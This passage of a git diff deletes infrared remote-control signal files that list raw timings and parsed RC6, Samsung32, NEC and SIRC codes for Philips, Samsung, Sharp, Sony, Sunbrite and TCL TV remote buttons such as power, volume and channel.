417 456 423 450 419 455 424 449 420 1326 422 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 415 458 421 1325 423 1324 424 1322 416 457 422 451 418 1329 419 1327 421 425 444 1330 418 455 424 -# -name: Rewind -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3481 1759 424 449 420 1327 421 452 417 456 423 450 419 454 425 448 421 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 1325 423 450 419 454 425 448 421 1326 422 1324 424 1322 416 458 421 1298 450 1323 425 448 421 453 416 1330 418 455 424 -# -name: Play -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1767 416 430 449 1325 423 450 419 427 452 448 421 425 444 457 422 451 418 455 424 449 420 454 415 458 421 452 417 1302 446 454 425 448 421 425 444 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 1323 425 448 421 453 416 1330 418 455 424 422 447 454 415 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 1329 419 1300 448 425 444 456 423 1324 424 449 420 453 416 1331 417 455 424 -# -name: Fast_Fwd -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1764 419 454 425 1321 417 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 449 420 1326 422 451 418 456 423 450 419 454 415 458 421 452 417 456 423 451 418 455 424 1322 416 1331 417 456 423 450 419 1328 420 453 416 457 422 451 418 456 423 1323 425 1321 417 457 422 451 418 455 424 449 420 1327 421 1325 423 450 419 1328 420 453 416 1331 417 456 423 450 419 1328 420 453 416 -# -name: Previous -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 -# -name: Pause -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1761 422 451 418 1329 419 454 425 448 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1323 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1329 419 1327 421 452 417 429 450 1324 424 449 420 453 416 458 421 452 417 1330 418 454 425 448 421 453 416 457 422 451 418 1329 419 1299 449 452 417 429 450 450 419 1328 420 452 417 457 422 1297 451 422 447 -# -name: Next -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1732 450 423 445 1301 499 375 442 458 421 452 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 456 423 1296 452 448 421 452 417 457 422 451 418 455 424 449 420 453 416 458 421 452 417 1302 446 1301 447 453 416 457 422 1297 503 371 446 454 425 448 421 453 416 1303 445 455 424 1295 453 1294 506 1240 446 455 424 1295 443 1304 444 456 423 450 419 1301 447 453 416 1303 497 377 450 1296 452 448 421 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3478 1735 448 452 417 1303 445 455 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 454 415 458 421 452 417 457 422 451 418 455 424 449 420 453 416 1304 444 1302 446 454 425 448 421 1298 450 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 425 448 421 453 416 1330 418 1301 447 1300 448 1298 450 450 419 1327 421 453 416 457 422 1324 424 449 420 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Philips/Philips_32PFL4208T.ir b/assets/ir_optional_assets/optional-assets/TVs/Philips/Philips_32PFL4208T.ir deleted file mode 100644 index 3df91616c..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Philips/Philips_32PFL4208T.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: Home -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 54 00 00 00 -# -name: 1 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 00 00 00 00 -# -name: Teletext -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: Format -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: F5 00 00 00 -# -name: Subtitle -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: Options -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 40 00 00 00 -# -name: SmartTV -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: BE 00 00 00 -# -name: Source -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 38 00 00 00 -# -name: Rewind -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: Play -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: Pause -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 30 00 00 00 -# -name: FastForward -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 28 00 00 00 -# -name: Record -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 37 00 00 00 -# -name: Stop -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 31 00 00 00 -# -name: Menu -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 54 00 00 00 -# -name: Exit -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 41 00 00 00 -# -name: Vol_Up -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 10 00 00 00 -# -name: Vol_Down -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 11 00 00 00 -# -name: Ch_Up -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: Ch_Down -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: Up -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 58 00 00 00 -# -name: Down -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 59 00 00 00 -# -name: Left -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: Right -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: Mute -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: Back -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: DVR -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: D2 00 00 00 -# -name: Guide -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: CC 00 00 00 -# -name: Info -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: Red -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: Green -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: Yellow -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: Blue -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung.ir deleted file mode 100644 index 91820ba7f..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: Source -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 01 00 00 00 -# -name: Vol_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: Vol_down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: Mute -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 60 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 61 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 65 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 62 00 00 00 -# -name: Select -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 68 00 00 00 -# -name: Return -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 58 00 00 00 -# -name: Menu -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: Exit -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: Smarthub -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 79 00 00 00 -# -name: Info -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: Search -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 73 00 00 00 -# -name: 1 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 23 00 00 00 -# -name: Prev_channel -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 13 00 00 00 -# -name: Family_story -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: C6 00 00 00 -# -name: MTS -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 00 00 00 00 -# -name: SRS -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 6E 00 00 00 -# -name: Support -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 3F 00 00 00 -# -name: Picture_size -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 3E 00 00 00 -# -name: Closed_Captions -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 25 00 00 00 -# -name: Rewind -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 45 00 00 00 -# -name: Fast_Forward -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 48 00 00 00 -# -name: Pause -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: Play -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 47 00 00 00 -# -name: Stop -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 46 00 00 00 -# -name: Record -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 49 00 00 00 -# -name: A_button -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 6C 00 00 00 -# -name: B_button -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 14 00 00 00 -# -name: C_button -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 15 00 00 00 -# -name: D_button -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 16 00 00 00 \ No newline at end of file diff --git a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN59.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN59.ir deleted file mode 100644 index 60bd0792e..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN59.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 -# -name: Source -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 01 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 60 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 61 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 65 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 62 00 00 00 -# -name: OK -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 68 00 00 00 -# -name: Return -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 58 00 00 00 -# -name: Exit -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: Home -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 79 00 00 00 -# -name: Mute -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: VolUp -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VolDown -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: ChanUp -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: ChanDown -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir deleted file mode 100644 index 072f472ab..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: Source -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 01 00 00 00 -# -name: Vol_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: Mute -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: Chan_list -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 6B 00 00 00 -# -name: Chan_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: Chan_dwn -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -# -name: Home -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 79 00 00 00 -# -name: Guide -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 4F 00 00 00 -# -name: Sleep -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 03 00 00 00 -# -name: Settings -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: Info -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: Return -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 58 00 00 00 -# -name: Exit -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: Select -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 68 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 60 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 61 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 65 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 62 00 00 00 -# -name: 1 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 11 00 00 00 -# -name: Dash -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 23 00 00 00 -# -name: Prev_chan -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 13 00 00 00 -# -name: A -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 6C 00 00 00 -# -name: B -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 14 00 00 00 -# -name: C -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 15 00 00 00 -# -name: D -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 16 00 00 00 -# -name: Play -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 47 00 00 00 -# -name: Stop -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 46 00 00 00 -# -name: Pause -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: Rewind -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 45 00 00 00 -# -name: Fast_fwd -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 48 00 00 00 -# -name: CC -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 25 00 00 00 -# -name: Pic_size -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 3E 00 00 00 -# -name: E_manual -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_E6.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_E6.ir deleted file mode 100644 index c43e24e5b..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_E6.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_TV.ir b/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_TV.ir deleted file mode 100644 index 18b510544..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_TV.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 -# -name: Source -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 01 00 00 00 -# -name: Vol_up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: Vol_down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: Mute -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 60 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 61 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 65 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 62 00 00 00 -# -name: Enter -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 68 00 00 00 -# -name: Back -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 58 00 00 00 -# -name: Menu_home -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir b/assets/ir_optional_assets/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir deleted file mode 100644 index e6fddc46c..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Back -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 04 00 00 00 -# -name: Home -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 43 00 00 00 -# -name: V+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: V- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 56 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 57 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 58 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 59 00 00 00 -# -name: Ok -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: Again -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 41 00 00 00 -# -name: Sleep -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Star -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: Rewind -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4F 00 00 00 -# -name: Play Pause -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 42 00 00 00 -# -name: Fast Forward -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: Netflix -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: Hulu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: Sling -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 45 00 00 00 -# -name: Now -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 67 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_Bravia.ir b/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_Bravia.ir deleted file mode 100644 index 26cf678e0..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_Bravia.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: Vol_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: Vol_down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: Chan_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8958 4449 510 4475 515 4444 515 2213 508 4477 513 2215 516 2212 509 2219 512 2217 514 2214 517 2211 540 2214 517 2211 510 4449 510 2218 513 4472 507 2220 511 30572 8960 2218 513 87698 8966 2211 510 87701 8963 2214 568 -# -name: Chan_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8956 4451 508 2220 511 2217 514 4470 510 4449 510 2218 544 2211 510 2218 513 2215 516 2212 509 2220 511 2217 514 2214 517 2211 510 2245 517 4441 508 2220 511 35049 8961 2215 516 87696 8959 2217 514 87698 8956 2220 511 87701 8964 2213 508 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR.ir b/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR.ir deleted file mode 100644 index c68e06da0..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: Off -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: Menu -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 60 00 00 00 -# -name: Up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 74 00 00 00 -# -name: Left -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 34 00 00 00 -# -name: Ok -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 65 00 00 00 -# -name: Right -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 33 00 00 00 -# -name: Down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 75 00 00 00 -# -name: Input -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 25 00 00 00 -# -name: Exit -type: parsed -protocol: SIRC15 -address: 97 00 00 00 -command: 23 00 00 00 -# -name: Vol_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: Vol_down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir b/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir deleted file mode 100644 index e07740525..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: Input -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 25 00 00 00 -# -name: Vol_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: Vol_down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: Ch_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 10 00 00 00 -# -name: Ch_down -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 11 00 00 00 -# -name: Mute -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/Sunbrite/Sunbrite.ir b/assets/ir_optional_assets/optional-assets/TVs/Sunbrite/Sunbrite.ir deleted file mode 100644 index 1e75c1b3c..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/Sunbrite/Sunbrite.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Off -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: Menu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: Exit -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 49 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 45 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 47 00 00 00 -# -name: Ok -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 44 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 48 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 46 00 00 00 -# -name: Source -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_32S327.ir b/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_32S327.ir deleted file mode 100644 index 8f5a67e63..000000000 --- a/assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_32S327.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: Vup -type: parsed -protocol: NECext -address: EA C7 00 00 